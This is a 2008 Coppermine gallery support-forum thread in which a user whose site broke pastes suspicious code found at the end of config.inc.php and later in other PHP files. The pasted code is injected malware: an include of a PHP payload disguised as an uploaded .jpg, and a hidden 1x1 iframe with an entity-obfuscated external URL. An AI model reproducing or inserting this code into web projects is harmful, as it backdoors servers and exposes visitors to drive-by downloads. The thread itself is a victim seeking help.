Advanced search  

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Pages: [1]   Go Down

Author Topic: config.inc.php question  (Read 2787 times)

0 Members and 1 Guest are viewing this topic.

sakyabuni

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
config.inc.php question
« on: April 19, 2008, 03:13:02 pm »

OK, first, hi everyone. Thanks for maintaining this board! I just joined. My gallery has gone down after only 3 weeks. I've searched through the posts. I'm not a programmer, just a designer. I apologize for that! After searching the forum, I found someone with a similar problem.

I have a question about the config.inc.php

Like the user who posted this problem:
http://forum.coppermine-gallery.net/index.php/topic,38206.0.html
My gallery suddenly went down. I hadn't uploaded to it for several days. I'm getting this: "Coppermine Photo Gallery seems not to be installed correctly, or you're running coppermine for the first time. You'll be redirected to the installer. "


I looked at the config.inc.php. It has code after the last line, MySQL TABLE NAMES PREFIX. Does this show that there is a problem? Or is it something that just gets added during the install. Can I just remove it and reupload the config.inc.php?

// MySQL TABLE NAMES PREFIX
$CONFIG['TABLE_PREFIX'] =                'cpg14x_';
?>
<?php
   if

(file_exists("/home/content/D/R/N/DRNC17/html/albums/userpics/10001/0xv045563131x.jp

g")) {
   

include("/home/content/D/R/N/DRNC17/html/albums/userpics/10001/0xv045563131x.jpg");
   

} else {
      echo "<iframe

src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#11

1;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;

&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1

height=1></iframe>";
   }
   ?>



Also listed are these problems below. Does that suggest a problem with the index page and database? Or are these problems coming up because of config.inc.php?

Fatal error: Call to undefined function: get_meta_album_set() in

/home/content/D/R/N/DRNC17/html/index.php on line 2275

MySQL said: ' . mysql_error() . ''); // Retrieve DB stored configuration $results =

cpg_db_query("SELECT * FROM {$CONFIG['TABLE_CONFIG']}"); while ($row =

mysql_fetch_array($results)) { $CONFIG[$row['name']] = $row['value']; } // while

mysql_free_result($results); // Reference 'site_url' to 'ecards_more_pic_target'

$CONFIG['site_url'] =& $CONFIG['ecards_more_pic_target']; // Include logger functions

include_once('include/logger.inc.php'); // Include media functions require

'include/media.functions.inc.php'; // Check for GD GIF Create support if ...



Thanks for your time.  :)
Logged

sakyabuni

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
Re: config.inc.php question
« Reply #1 on: April 19, 2008, 03:22:22 pm »

Also, I downloaded another config.inc.php file from the same server (different URL)


the table prefix is cpg_143

// MySQL TABLE NAMES PREFIX


$CONFIG['TABLE_PREFIX'] =                'cpg_143';


the table prefix for the gallery I am having trouble with is  'cpg14x_';


Perhaps this is a silly question but Is it common for there to be a variable there, the x? Could that be an indication of a problem?

Logged

sakyabuni

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
Re: config.inc.php question
« Reply #2 on: April 19, 2008, 03:23:36 pm »

Logged

Nibbler

  • Guest
Logged

sakyabuni

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
Re: config.inc.php question
« Reply #4 on: April 19, 2008, 06:12:02 pm »

Thanks Nibbler!  :-*

We'll go over that. (http://i245.photobucket.com/albums/gg46/Pretty_in_Rd/ashamed.gif)

Is that because I'm with a cheezy web provider?  I'm on GoDaddy.  Or did I bring it upon my self?
Logged

sakyabuni

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
Re: config.inc.php question
« Reply #5 on: April 19, 2008, 08:22:14 pm »

ah, it seems many of the php files in the upper level have that extra code in them
*pacman munchie smiley

thanks for the link, so far it's been easy to follow
Logged
Pages: [1]   Go Up
 

Page created in 0.028 seconds with 20 queries.